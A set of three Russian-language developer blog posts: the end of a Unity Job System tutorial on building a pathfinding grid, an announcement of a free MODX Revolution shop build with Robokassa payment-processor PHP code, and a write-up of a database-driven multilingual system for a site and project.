Здесь мы создаем экземпляр **NativeArray** через новый конструктор с тремя параметрами. Первые два параметра я разбирал в прошлой статье, а вот третий параметр нам поможет немного сэкономить время создания массива. Дело в том, что мы будем записывать данные в массив сразу же после его создания, а значит нам не нужно убедиться в его очистке. Этот параметр полезно использовать для **NativeArray** которые будут только использоваться в режиме “*чтения*” в задаче.
И так, далее наполним массив **bounds** данными.
**Rebuild**
```
public void Rebuild() {
/*...остальной код...*/
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
int count = this.obstacles.Count;
if (count > 0) {
this.bounds = new NativeArray(count, Allocator.TempJob, NativeArrayOptions.UninitializedMemory);
for(int i = 0; i < count; i++) {
Obstacle obs = this.obstacles[i];
Vector2 position = obs.position;
Rect rect = new Rect(Vector2.zero, obs.size);
rect.center = position;
this.bounds[i] = rect;
}
}
OnRebuildStart();
}
```
Теперь можно переходит к созданию задач, для этого пройдемся циклом по всем вертикальным рядам сетки.
**Rebuild**
```
public void Rebuild() {
/*...остальной код...*/
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
int count = this.obstacles.Count;
if (count > 0) {
this.bounds = new NativeArray(count, Allocator.TempJob, NativeArrayOptions.UninitializedMemory);
for(int i = 0; i < count; i++) {
Obstacle obs = this.obstacles[i];
Vector2 position = obs.position;
Rect rect = new Rect(Vector2.zero, obs.size);
rect.center = position;
this.bounds[i] = rect;
}
}
for (int i = 0; i < verticals; i++) {
float xPos = origin.x;
float yPos = origin.y + (i \* this.nodeSize) + this.nodeSize / 2f;
}
OnRebuildStart();
}
```
Для начала в **xPos** и **yPos** получаем начальную позицию ряда по горизонтали.
**Rebuild**
```
public void Rebuild() {
/*...остальной код...*/
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
int count = this.obstacles.Count;
if (count > 0) {
this.bounds = new NativeArray(count, Allocator.TempJob, NativeArrayOptions.UninitializedMemory);
for(int i = 0; i < count; i++) {
Obstacle obs = this.obstacles[i];
Vector2 position = obs.position;
Rect rect = new Rect(Vector2.zero, obs.size);
rect.center = position;
this.bounds[i] = rect;
}
}
for (int i = 0; i < verticals; i++) {
float xPos = origin.x;
float yPos = origin.y + (i \* this.nodeSize) + this.nodeSize / 2f;
NativeArray array = new NativeArray(horizontals, Allocator.Persistent);
Job job = new Job();
job.startCoords = new Vector2Int(i \* horizontals, i);
job.startPos = new Vector2(xPos, yPos);
job.nodeSize = this.nodeSize;
job.bounds = this.bounds;
job.array = array;
}
OnRebuildStart();
}
```
Далее создаем простой массив **NativeArray** куда будут помещаться точки в задаче, здесь для массива **array** нужно указать сколько точек будет создано по горизонтали и тип аллокации **Persistent**, ведь задача может выполняться дольше чем один кадр.
После, создаем сам экземпляр задачи **Job**, помещаем в нее начальные координаты ряда **startCoords**, начальную позицию ряда **startPos**, размер точек **nodeSize**, массив препятствий **bounds** и уже в конце сам массив точек **array**.
Осталось только поместить задачу в **handle** и глобальный список задач.
**Rebuild**
```
public void Rebuild() {
/*...остальной код...*/
Vector2 center = this.position;
Vector2 origin = center - (mapSize / 2f);
int count = this.obstacles.Count;
if (count > 0) {
this.bounds = new NativeArray(count, Allocator.TempJob, NativeArrayOptions.UninitializedMemory);
for(int i = 0; i < count; i++) {
Obstacle obs = this.obstacles[i];
Vector2 position = obs.position;
Rect rect = new Rect(Vector2.zero, obs.size);
rect.center = position;
this.bounds[i] = rect;
}
}
for (int i = 0; i < verticals; i++) {
float xPos = origin.x;
float yPos = origin.y + (i \* this.nodeSize) + this.nodeSize / 2f;
NativeArray array = new NativeArray(horizontals, Allocator.Persistent);
Job job = new Job();
job.startCoords = new Vector2Int(i \* horizontals, i);
job.startPos = new Vector2(xPos, yPos);
job.nodeSize = this.nodeSize;
job.bounds = this.bounds;
job.array = array;
this.handle = job.Schedule(horizontals, 3, this.handle);
this.jobs.Add(array);
}
OnRebuildStart();
}
```
Готово. У нас есть список задач и их общий **handle**, теперь можно запустить этот **handle** вызвав его метод **Complete** в методе **OnRebuildStart** .
**OnRebuildStart**
```
private void OnRebuildStart() {
this.rebuilding = true;
this.handle.Complete();
}
```
Так как переменная **rebuilding** будет указывать, что идет процесс построения сетки, в самом методе **UpdateChanges** нужно также указать условие, когда этот процесс закончиться, используя **handle** и его свойство **IsCompleted**.
**UpdateChanges**
```
private void UpdateChanges() {
if (this.rebuilding) {
print(“Идет построение сетки...”);
if (this.handle.IsCompleted) OnRebuildFinish();
} else {
if (this.requireRebuild) {
print(“Что то изменилось, необходимо перестроить карту!”);
Rebuild();
} else {
this.requireRebuild = CheckChanges();
}
}
}
```
После выполнения задач произойдет вызов метода **OnRebuildFinish** где мы уже будем собирать полученные точки в один общий список **Dictionary**, и самое главное — вычищать занятые ресурсы.
**OnRebuildFinish**
```
private void OnRebuildFinish() {
this.nodes.Clear();
foreach (NativeArray array in this.jobs) {
foreach (Node node in array) this.nodes.Add(node.coords, node);
array.Dispose();
}
this.jobs.Clear();
if (this.bounds.IsCreated) this.bounds.Dispose();
this.requireRebuild = this.rebuilding = false;
}
```
Для начала очищаем словарь **nodes** от предыдущих точек, далее с помощью цикла **foreach** перебираем все полученные точки из задач и помещаем их в словарь **nodes** , где ключ это координаты(*НЕ позиция*!) точки, а значение — сама точка. С помощью этого словаря нам будет проще искать соседние точки на карте. После наполнения очищаем массив **array** с помощью метода **Dispose** и в конце очищаем сам список задач **jobs**.
Также нужно будет очистить массив препятствий **bounds**, если он был ранее создан.
После всех этих действий получаем список всех точек на карте и теперь можно их отрисовать на сцене.
**Примерно так**
Для этого в классе **Map** создадим метод **OnDrawGizmos** где будем отрисовывать точки.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
#if UNITY_EDITOR
private void OnDrawGizmos() {}
#endif
}
```
Теперь через цикл отрисуем каждую точку.
**Map**
```
public sealed class Map : Obstacle {
/*...остальной код…*/
#if UNITY_EDITOR
private void OnDrawGizmos() {
foreach (Node node in this.nodes.Values) {
Gizmos.DrawWireSphere(node.position, this.nodeSize / 10f);
}
}
#endif
}
```
После всех этих действий наша карта выглядит как-то скучно, для того чтобы получить действительно сетку нужно, чтобы точки были соединены друг с другом.
**Сетка**
Для поиска соседних точек нам понадобиться просто найти нужную точку по ее координатам в 8 направлениях, поэтому в классе **Map** заведем простой статический массив направлений **Directions** и метод поиска ячейки по ее координатам **GetNode**.
**Map**
```
public sealed class Map : Obstacle {
public static readonly Vector2Int[] Directions = {
Vector2Int.up,
new Vector2Int(1, 1),
Vector2Int.right,
new Vector2Int(1, -1),
Vector2Int.down,
new Vector2Int(-1, -1),
Vector2Int.left,
new Vector2Int(-1, 1),
};
/*...остальной код…*/
public Node GetNode(Vector2Int coords) {
Node result = default(Node);
try {
result = this.nodes[coords];
} catch {}
return result;
}
#if UNITY_EDITOR
private void OnDrawGizmos() {}
#endif
}
```
Метод **GetNode** будет возвращать точку по координатам из списка **nodes**, но делать это нужно осторожно ведь если координаты **Vector2Int** будут неправильными возникнет ошибка, поэтому здесь используем блок обхода исключений **try catch**, который поможет обойти исключение и не “*повесить*” все приложение с ошибкой.
Далее пройдемся циклом по всем направления и попробуем найти соседние точки в методе **OnDrawGizmos**, и главное не забывайте учитывать проходимость точки.
**OnDrawGizmos**
```
#if UNITY_EDITOR
private void OnDrawGizmos() {
Color c = Gizmos.color;
foreach (Node node in this.nodes.Values) {
Color newColor = Color.white;
if (node.isWalkable) newColor = new Color32(153, 255, 51, 255);
else newColor = Color.red;
Gizmos.color = newColor;
Gizmos.DrawWireSphere(node.position, this.nodeSize / 10f);
newColor = Color.green;
Gizmos.color = newColor;
if (node.isWalkable) {
for (int i = 0; i < Directions.Length; i++) {
Vector2Int coords = node.coords + Directions[i];
Node connection = GetNode(coords);
if (connection) {
if (connection.isWalkable) Gizmos.DrawLine(node.position, connection.position);
}
}
}
}
Gizmos.color = c;
}
#endif
```
Теперь можно смело запустить игру и посмотреть, что же вышло.
**Динамическая карта**
В этом примере мы строили только сам граф с помощью задач, но вот, что получилось у меня после того как я прикрутил к этой системе сам алгоритм **А\***, который так же использует **Job system** для нахождения пути, *исходник в конце статьи*.
**Карта и поиск пути**
Вот так можно использовать новую систему задач для своих целей и строить интересные системы без особых усилий.
Как и в предыдущей статье здесь система задач используется без **ECS**, если же использовать эту систему в паре с **ECS**, можно добиться просто потрясающего результата в приросте производительности. *Удачи*!
[Исходник проекта поиска пути](http://rgho.st/92BTpDB8h) | https://habr.com/ru/post/423601/ | null | ru | null |
# Готовая сборка интернет-магазина на MODX Revolution
Часто, когда разработчик выбирает движок для очередного магазина, он обычно оценивает этот вопрос по нескольким критериям:
* Платный/бесплатный (если платный, то сколько).
* Какой функционал есть «из коробки».
* Насколько легко докрутить какой-то свой функционал.
* Как много он потянет товаров, чтобы на хостинг не разориться.
* Насколько гибкие политики безопасности, чтобы обеспечить совместную работу различных отделов.
* Какие платежные системы поддерживаются.
Под катом я расскажу о новой готовой сборке интернет-магазина, которая разрабатывалась с учетом этих критериев, и думаю, может заставить призадуматься даже искушенных разработчиков.
*В конце статьи видео с кратким обзором движка и двумя способами установки*
**Важно!!!** Забыл сказать: кто поленится посмотреть видео, но развернет у себя сборку, логин/пароль в админку по умолчанию: admin/admin.
#### Демо-сайт.
Прежде чем читать дальше, советую покликать [демо-версию сборки](http://shopmodx.modxclub.ru/).
Сразу скажу, что разворачивая данную сборку, вы сразу получаете вот такой сайт. То есть сразу есть модель каталога, регистрация/авторизация через соцсети, оплата через робокассу и т.п. (само собой на своей копии надо будет прописать в конфигах свои данные робокассы и привязать сайт к социалкам).
#### Основа движка (а так же довольно большая предыстория)
За основу был взят фреймворк MODX Revolution. Только не торопитесь плеваться и закрывать страницу. Это не в точности тот MODX, с которым вам возможно приходилось встречаться. Я с MODX работаю с начала 2009-го года, и знаю его вдоль и поперек. И да, я как и многие сталкивался со многими его минусами (типа шаблонов и чанков в базе данных, тормоза и т.п.). Плюс к этому до знакомства с MODX много работал с различными самописками и другими движками, и на MODX-е я остался именно за его гибкость. Да, мне не все в нем нравится, но он позволяет с легкостью многое в нем изменить, при этом не трогая самого ядра. В процессе у меня появилось несколько компонентов, которые дополняют или меняют определенный функционал MODX-а. Вот парочка наиболее важных из них:
**phpTemplates** — позволяет статические MODX-шаблоны вызывать как обычные php-файлы.
**modxSmarty** — Подключает для фронта шаблонизатор Smarty и дополняет его некоторыми плюшками, обеспечивая тесное взаимодействие с самим MODX-ом.
**shopModx** — модуль для разработки интернет-магазинов.
В итоге MODX обретает не только полноценную шаблонизацию, но и гораздо бОльшую производительность. Сайты с десятками тысяч документов работают с откликом 0,02 — 0,6 секунд. Плюс к этому можно практически полностью забить на синтаксис самого MODX-а, и если вы умеете программировать на php и знаете Smarty — то здесь в разработке у вас никаких проблем не возникнет.
Но одна из самых важных вещей в MODX-е, которая точно меня держит цепями — это система пакетов (модулей для MODX-а). Она реально классная. Я даже написал [модуль](http://habrahabr.ru/post/163077/), который позволяет создавать свои собственные репозитории пакетов. Это особенно полезно различным веб-студиям и активным разработчикам. При этом самая вкусняшка заключается в том, что упаковывать можно не только отдельные модули, но и вообще все что угодно на сайте, хоть целиком, хоть по отдельности, хоть весь сайт вообще. Так появились снапшоты MODX-сайтов. Изначально это было реализовано только на самом [modxcloud.com](http://modxcloud.com) (официальный хостинг от разработчиков MODX-а), но совершенно без документации и каких-либо релизов ими был выложен скрипт **vapor**, который предназначался для того, чтобы любой мог сделать снимок своего сайта и закинуть его на [modxcloud.com](http://modxcloud.com). При этом обратная связь как бы и не подразумевалась (то есть брать снимки с modxcloud.com и разворачивать на любом своем хостинге). Не буду вдаваться в подробности, но я взял этот vapor, модифицировал его и добавил ему еще один скрипт (import.php). Теперь с помощью этого скрипта можно как делать снимки сайтов, так и разворачивать их поверх чистого сайта. Скачать мой vapor можно из [официального репозитория](http://modx.com/extras/package/vapor). И вот как раз с этим вапором я взял курс не только на отдельные модули, но и на готовые сборки сайтов.
##### В чем смысл таких сборок?
Смысл в том, что когда на проекте используется сразу несколько каких-то отдельных компонентов, которые совместно должны дать какой-то ожидаемый результат, важно не только их наличие, но и тонкая настройка, чтобы обеспечить наилучший эффект + максимальную гибкость. И понятно, что для этого надо не только очень хорошо их знать, но и иметь опыт применения, знать как лучше сделать, какие подводные камни бывают и т.п. А вот если дать разработчику уже готовый сайт, где уже все установлено и настроено, то потолок вхождения и объем работ снижаются в разы.
Вот эта сборка как раз и есть готовый интернет-магазин на базе моих и стандартных модулей, обеспечивая наилучшую производительность, гибкость и управляемость.
#### Что уже есть в этой сборке?
* Добавлен компонент Billing. На этом модуле завязано все, что связано с заказами, оплатой и т.п.
* Корзина перестала существовать отдельно. Теперь Корзина — это еще не оформленный Заказ (Order). Теперь даже не оформленные заказы хранятся в базе данных, что как минимум позволяет видеть кого что интересует, а так же определять реальный процент конверсии и выявлять возможные ошибки.
* Компонент Basket (Корзина) остался, но почти все, что связано с самими заказами, перенесено в Billing. Basket и дальше останется отдельным модулем, а в Billing-е будет только необходимый минимум логики. Рассчет на то, что сам механизм заказа, оплаты и т.п. можно будет реализовывать в любых сторонних модулях, которые будут взаимодействовать с биллингом.
* Добавлен и сверстан новый шаблон по умолчанию с использованием bootstrap. Много всяких аджаксовых плюшек и полноценное JS-API.
* Добавлен табличный редактор документов.
* Добавлено управление заказами.
* Добавлен личный кабинет пользователя, регистрация, смена пароля, восстановление пароля и т.п.
* Настроена регистрация через Login, смена/восстановление пароля и т.п.
* Добавлен модуль **modHybridAuth** (авторизация через социальные сети). Пока четко проверены Twitter, Facebook и Google, но должны и другие работать.
* Подключен сервис оплаты **Robokassa**.
* Настроены политики безопасности:
+ Контент-менеджер;
+ Администратор магазина;
+ Менеджер магазина;
+ Продвинутый менеджер магазина.
#### Что дальше делать с этим сайтом после установки?
Делаете копию шаблона и меняете в нем все, что угодно. Шаблонизация на Smarty, входные данные массивами, все процессоры на классах. То есть не трогая ядра, можно переделать сайт как угодно.
##### Пример, как добавлять еще платежные системы
Вот у нас есть оплата через робокассу, и стоит задача прикрутить еще какой-нибудь способ оплаты. Посмотрим, как это делается.
**Это базовый процессор для любых типов оплаты.**
```
php
/*
Абстрактный класс на проведение оплаты.
Его нельзя вызывать напрямую, чтобы исключить случаи инжекта оплаты.
Этот класс должен расширяться другим классом конкретной платежной системы,
чтобы использовать методы проверки платежа самой платежной системы
*/
abstract class modWebPaymentsCreateProcessor extends modObjectCreateProcessor{
public $classKey = 'Payment';
protected $BillingProcessorsPath;
public function checkPermissions() {
// Проверяем подпись платежной системы
$ok = $this-checkSignature();
if($ok !== true){
$this->error($ok);
return false;
}
return parent::checkPermissions();
}
public function initialize(){
$this->BillingProcessorsPath = MODX_CORE_PATH . 'components/billing/processors/';
$this->setDefaultProperties(array(
'currency_id' => $this->modx->getOption('shopmodx.default_currency'),
));
if(!$this->getProperty('paysystem_id')){
return $this->error("Не был получен ID платежной системы");
}
return parent::initialize();
}
public function beforeSet(){
$this->setProperties(array(
"createdby" => $this->modx->user->id ? $this->modx->user->id : null,
"date" => time(),
));
return parent::beforeSet();
}
public function beforeSave(){
if(
!$currency_id = (int)$this->getProperty('currency_id')
OR !$currency = $this->modx->getObject('modResource', $currency_id)
OR ! $currency instanceof ShopmodxResourceCurrency
){
return $this->error("Не был получен объект валюты");
}
if(
!$paysystem_id = (int)$this->getProperty('paysystem_id')
OR !$paysystem = $this->modx->getObject('Paysystem', $paysystem_id)
OR ! $paysystem instanceof Paysystem
){
return $this->error("Не был получен объект платежной системы");
}
// Проверяем, если указан счет платежной системы, то надо убедиться, что
// он еще не числится в биллинге
if($paysys_invoice_id = $this->object->get('paysys_invoice_id')){
if($this->modx->getCount($this->classKey, array(
'paysys_invoice_id' => $paysys_invoice_id,
'paysystem_id' => $paysystem_id,
))){
return $this->error("Данный счет уже создан в системе.");
}
}
$this->object->addOne($currency);
$this->object->addOne($paysystem);
return parent::beforeSave();
}
/*
Обязательно надо прописывать метод, в котором будет выполняться проверка
подписи с сервера платежной системы
*/
abstract protected function checkSignature();
protected function log($msg, $level = null){
if($level === null){
$level = xPDO::LOG_LEVEL_INFO;
}
$this->modx->log($level, "[Basket - ".__CLASS__."] {$msg}");
$this->modx->log($level, print_r($this->getProperties(), true));
return $msg;
}
protected function error($msg){
return $this->log($msg, xPDO::LOG_LEVEL_ERROR);
}
/*
Логируем все ошибки процессора, на всякий случай
*/
public function failure($msg = '',$object = null) {
$this->error($msg);
if(!empty($this->object) && is_object($this->object)){
$this->error(print_r($this->object->toArray(), true));
}
return parent::failure($msg,$object);
}
public function cleanup() {
/*
// Если оплата прошла успешно, то обновляем статус заказа
*/
if($order_id = $this->object->get('order_id')){
$this->modx->runProcessor('mgr/orders/status/pay', array(
'order_id' => $order_id,
), array(
'processors_path' => $this->BillingProcessorsPath,
));
// На всякий случай сбрасываем счетчик ошибок, если вдруг в вызываемом
// процессоре были ошибки
$this->modx->error->reset();
}
return $this->success($this->getSuccessMessage(), $this->object);
}
protected function getSuccessMessage(){
return '';
}
}
return 'modWebPaymentsCreateProcessor';
```
Он абстрактный, и его нельзя вызвать напрямую, так как у каждой конкретной платежной системы свои механизмы проверки платежа. Но этот класс уже обеспечивает всю необходимую логику, и от расширяющего процессора ждет только одного: подтверждения правильности платежа и установки суммы и прочих данных платежа.
**А вот расширяющий процессор конкретно для робокассы:**
```
php
/*
Проводка платежа от робокассы
*/
require_once dirname(dirname(__FILE__)). '/create.class.php';
class modWebPaymentsRobokassaCreateProcessor extends modWebPaymentsCreateProcessor{
public function initialize(){
$this-setProperties(array(
"paysystem_id" => $this->modx->getOption('robokassa.bill_serv_id'),
));
return parent::initialize();
}
/*
Проверяем подпись с робокассы
*/
protected function checkSignature(){
$mrh_pass2 = $this->modx->getOption('robokassa.mrh_pass2');
// Параметры, передаваемые в запросе от робокассы
$crc = mb_strtoupper($this->getProperty('SignatureValue'));
$out_sum = $this->getProperty('OutSum');
$inv_id = $this->getProperty('InvId');
$shp_aid = $this->getProperty('shp_aid');
$shp_order = $this->getProperty('shp_order', null);
$shp_trff = $this->getProperty('shp_trff');
$shp_uid = $this->getProperty('shp_uid');
$my_crc = mb_strtoupper(md5("{$out_sum}:{$inv_id}:{$mrh_pass2}:shp_aid={$shp_aid}:shp_order={$shp_order}:shp_trff={$shp_trff}:shp_uid={$shp_uid}"));
$this->modx->log(xPDO::LOG_LEVEL_INFO, "[Robokassa - robokassa.payResult]", print_r($_REQUEST, true));
// проверка корректности подписи
if ($my_crc !=$crc){
$error = "[Robokassa - robokassa.payResult] - Неверная подпись. Получена: '{$crc}'. Должна быть: '{$my_crc}'";
$this->modx->log(xPDO::LOG_LEVEL_ERROR, $error);
return "bad sign";
}
// else
$this->setProperties(array(
"sum" => $out_sum,
"order_id" => $shp_order,
"owner" => $shp_uid,
"paysys_invoice_id" => $inv_id,
));
return true;
}
protected function getSuccessMessage(){
return 'OK'.$this->getProperty('InvId');
}
}
```
Как видно, это всего 60 строчек кода. Но в результате не только будет проведена оплата с учетом кто платил, через что, сколько и т.п., но и будет автоматически изменен статус заказа на Оплачен. И вот прикрутить еще какой-нибудь способ оплаты — это всего несколько десятков строк.
#### Итоги
В итоге, получился на самом деле очень не плохой движок. Сразу скажу, что помимо гибкости, производительность у него тоже весьма не плохая. Как раз недавно наткнулся на топик, в котором народ рассуждал, что даже 40 000 товаров уже напрягает не хило их магазины. Я делал магазины на shopModx с десятками тысяч товаров без всяких особых ухищрений, и все нормально работает. И даже если товаров будут сотни тысяч (я уже делал один на 150 000 товаров), то с небольшими доработками магазин и столько потянет.
И самое главное: эта сборка совершенно бесплатная! Конечно мы всегда открыты для приема донейтов от благодарных разработчиков, но де факто движок полностью бесплатный.
И напоследок видео с кратким обзором движка и двумя способами установки.
* Установка через менеджер пакетов в админке: [www.youtube.com/watch?feature=player\_detailpage&v=g\_cSfGgSO9g#t=558](http://www.youtube.com/watch?feature=player_detailpage&v=g_cSfGgSO9g#t=558)
* Установка через консоль (более предпочтительный метод): [www.youtube.com/watch?feature=player\_detailpage&v=g\_cSfGgSO9g#t=1003](http://www.youtube.com/watch?feature=player_detailpage&v=g_cSfGgSO9g#t=1003)
**UPD:**
Одна из новых плюшек сборки — хранение корзины в базе данных. Точнее корзина как бы перестала быть самостоятельной сущностью, а превратилась в отображение нового заказа. При этом новый Заказ — это просто еще не оформленный Заказ.
*кликабельно*
[](http://habrastorage.org/storage3/373/8aa/27a/3738aa27a10013955f219e736b9b2948.png)
Чуть более распишу статусы заказов:
**Новый.** Как только пользователь пытается добавить товар в корзину, если заказ для него еще не создан, создается новый заказ и товар сразу добавляется к этому заказу. То есть все заказы видно сразу, даже если пользователь не авторизован и вообще больше ничего не сделал.
Это позволяет отделу маркетинга более четко видеть жизнь магазина, просчитывать конверсию, оценивать возможные причины поведения пользователей и т.п.
**Оформлен.** Если пользователь создал заявку (то есть оформил заказ, указав свой адрес и прочие данные), то статус заказа меняется на Оформлен. Начиная с этого момента менеджер может принять заказ на себя. (да, сразу предусмотрена многопользовательская работа и возможны различные сценарии. Сейчас логика заложена такая, что менеджер видит только новые и свои заказы. Как только один менеджер принял заказ на себя, другой менеджер уже не сможет его принять. При этом если у менеджера нет прав, то он даже не видит контактные данные не своих заказов).
[](http://habrastorage.org/storage3/817/68a/fce/81768afcebe66c82fc5b15e89752105c.png)
**Оплачен.** Если пользователь самостоятельно оплачивает заказ на сайте, то статус заказа автоматически меняется на Оплачен.
Далее еще несколько типовых статусов, типа оплачен и т.п.

Уведомления о новых заказах приходят на почту. (Специально есть группа пользователей, каждый из которых получает уведомления).
**UPD2:**
Вот в нагрузку еще сделал тест [loadimpact.com](http://loadimpact.com/load-test/shopmodx.modxclub.ru-98ed3b8a4ad05b2945b046857bd971b6).
Тест бесплатный и не известно откуда (показывает загрузку к секунд), но любой может покликать сайт и убедиться, что там далеко не 5 секунд. Зато график стабильный, что на одном, что на 50-ти клиентах. И даже на 50-ти клиентах процессор был далек от полной загрузки, выдавая чаще всего 10-25%, и только иногда 50-70%. (хостинг digitalocean.com за $10).
[](http://habrastorage.org/storage3/867/21a/3df/86721a3df8aa82f71eb01cb70ea12366.jpg)
**UPD3:** Картинки к вот этому [комментарию](http://habrahabr.ru/post/195090/#comment_6773712).




**UPD4:** Вчера мы провели вебинар по ShopModxBox, и хотя качество записи получилось не очень, выкладываю его тоже (для общего ознакомления). | https://habr.com/ru/post/195090/ | null | ru | null |
# Как я реализовал мультиязычность на сайте и в проекте
Создав и поддерживая проект с открытыми исходными текстами хочется сразу решить все возможные проблемы по мультиязычной поддержке как проекта, так и сайта. С поддержкой мультиязычности в различных проектах я сталкиваюсь очень давно, начиная ещё с десктопных программ. Таким образом, имея представление о возможных потребностях, я начал знакомиться с предлагаемыми решениями. Да, практически все SaaS сервисы предлагают бесплатное использование для open-source проектов, но там в основном всё заточено на перевод строковых ресурсов. А как быть с сайтом и документацией? К сожалению, я так и не нашел ничего подходящего и приступил к самостоятельной реализации. Сразу скажу, что результатом доволен и использую систему практически полгода, хотя предупреждаю, что это не массовое законченное решения, а скорее конкретная реализация под мои нужды, но я надеюсь, что некоторые идеи могут быть полезны и другим разработчикам.
Для начала я перечислю требования, которые установил для будущего детища.
1. Локализовать нужно как ресурсы для проекта хранящиеся в виде JSON в .js, так и все тексты и документацию на сайте.
2. Ресурс может не иметь перевода на другие языки. То есть, я например могу накопить тексты на русском, а потом отдать переводчику, причем в русской версии сайта эти тексты уже будут доступны.
3. Должна быть удобная система на сайте для того чтобы пользователь мог перевести не переведенные на его язык ресурсы, создать новый ресурс (текст) или проверить и отредактировать уже существующие тексты на своем родном языке. Выглядеть это должно примерно так — пользователь выбирает действие (перевод, проверка), родной язык (и в случае перевода еще язык оригинала), а также желаемый объем. По этим параметрам ищется ресурс и предлагается пользователю для перевода или редактирования. Естественно, должен вестись лог действий пользователя и накапливаться статистика по выполненным работам.
4. На сайте должен быть выбор языков, но на каждой странице должны показываться только те языки, для которых уже есть перевод данной страницы.
5. Одна и та же строка может использоваться в нескольких местах. Например, строка используется в .js и в документации. То есть, ресурс должен быть в одном экземпляре и при его изменении, он должен меняться и в JSON и в документации.
6. В идеале должна быть какая-то авто-модерируемая система, но пока можно остановится на личном принятии решений по публикации.
Отображение изменений в реальном времени мне было не актуально, и я решил сделать несколько промежуточных таблиц со всей внутренней кухней и затем по команде делать сборку JSON и генерацию страниц самого сайта. На самом деле, достаточно четырех таблиц.
**Структура таблиц**
```
CREATE TABLE IF NOT EXISTS `languages` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`_uptime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`_owner` smallint(5) unsigned NOT NULL,
`name` varchar(32) NOT NULL,
`native` varchar(32) NOT NULL,
`iso639` varchar(2) NOT NULL,
PRIMARY KEY (`id`),
KEY `_uptime` (`_uptime`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
CREATE TABLE IF NOT EXISTS `langid` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`_uptime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`_owner` smallint(5) unsigned NOT NULL,
`name` varchar(96) NOT NULL,
`comment` text NOT NULL,
`restype` tinyint(3) unsigned NOT NULL,
`attrib` tinyint(3) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `_uptime` (`_uptime`),
KEY `name` (`name`),
KEY `restype` (`restype`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
CREATE TABLE IF NOT EXISTS `langlog` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`_uptime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`_owner` smallint(5) unsigned NOT NULL,
`iduser` int(10) unsigned NOT NULL,
`idlangres` int(10) unsigned NOT NULL,
`action` tinyint(3) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `_uptime` (`_uptime`),
KEY `iduser` (`iduser`,`idlangres`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
CREATE TABLE IF NOT EXISTS `langres` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`_uptime` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
`_owner` smallint(5) unsigned NOT NULL,
`langid` smallint(5) unsigned NOT NULL,
`lang` tinyint(3) unsigned NOT NULL,
`text` text NOT NULL,
`prev` mediumint(9) unsigned NOT NULL,
`verified` tinyint(3) NOT NULL,
`size` mediumint(9) unsigned NOT NULL,
PRIMARY KEY (`id`),
KEY `_uptime` (`_uptime`),
KEY `langid` (`langid`,`lang`),
KEY `size` (`size`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 ;
```
Таблица языков languages с тремя полями name, native, iso639. Пример записи: *Russian, Русский, ru*
Таблица текстовых идентификаторов ресурсов langid, где можно указать еще комментарий и тип. Я разделил для себя все ресурсы на несколько типов: JSON строка, страница сайта, простой текст, текст в формате MarkDown. Вы можете конечно использовать свои собственные типы.
Пример: *сancelbtn, Text for Cancel button, JSON*
Таблица текстовых ресурсов langres ( langid, language, text, prev). Храним ссылки на идентификатор, язык и сам текст.
Последнее поле prev обеспечивает версионность текста при правках и указывает на предыдущую версию ресурса.
Все изменения фиксируются в лог-таблице langlog ( iduser, idlangres, action ). Поле action будет указывать на совершенное действие — создание, редактирование, проверка.
Я не буду останавливаться на работе с пользователями, скажу лишь, что пользователь регистрируется автоматически при отправке перевода или исправления. Так как email не обязателен, то пользователю сразу сообщается логин и пароль. Все сделанные им изменения будут привязаны к его аккаунту. В дальнейшем он может указать свой email и прочие данные или просто забыть про эту регистрацию.
Я нарисовал схему, чтобы вы лучше представили все связи между таблицами.

Так как мне нужна возможность вставки ресурсов в другие ресурсы, то я добавил макросы вида #идентификатор#. Например, в простейшем случае, если мы имеем ресурс name = «Имя», то мы можем использовать его в ресурсе entername = «Укажите своё #name#», которое при генерации заменится на *Укажите свое Имя*.
Теперь, для генерации страниц сайта достаточно пройтись по всем языкам и ресурсам с соответствующим типом, обработать каждый текст специальной функцией замены и записать результат в отдельную таблицу с готовыми страницами. Причем обработка происходит таким образом, что если #идентификатор# не найден на текущем языке, то он ищется на других языках. Вот набросок рекурсивной функции (с защитой от зацикливания), которая производит эту обработку.
**Пример PHP функции подстановки**
```
public function proceed( $input, $recurse = false )
{
global $db, $syslang;
if ( !$recurse )
$this->chain = array();
$result = '';
$off = 0;
$start = 0;
$len = strlen( $input );
while ( ($off = strpos( $input, '#', $off )) !== false && $off < $len - 2 )
{
$end = strpos( $input, '#', $off + 2 );
if ( $end === false )
break;
if ( $end - $off > $this->lenlimit )
{
$off = $end - 1;
continue;
}
$name = substr( $input, $off + 1, $end - $off - 1 );
$langid = $db->getone("select id from langid where name=?s", $name );
if ( $langid && !in_array( $langid, $this->chain ))
{
$langres = $db->getrow("select _uptime, id,text from langres where langid=?s && verified>0
order by if( lang=?s, 0, 1 ),lang", $langid, $this->lang );
if ( $langres )
{
if ( $langres['_uptime'] > $this->time )
$this->time = $langres['_uptime'];
$result .= substr( $input, $start, $off - $start );
$off = $end + 1;
$start = $off;
array_push( $this->chain, $langid );
$result .= $this->proceed( $langres['text'], true );
array_pop( $this->chain );
if ( $off >= $len - 2 )
break;
continue;
}
}
$off = $end - 1;
}
if ( $start < $len )
$result .= substr( $input, $start );
return $result;
}
```
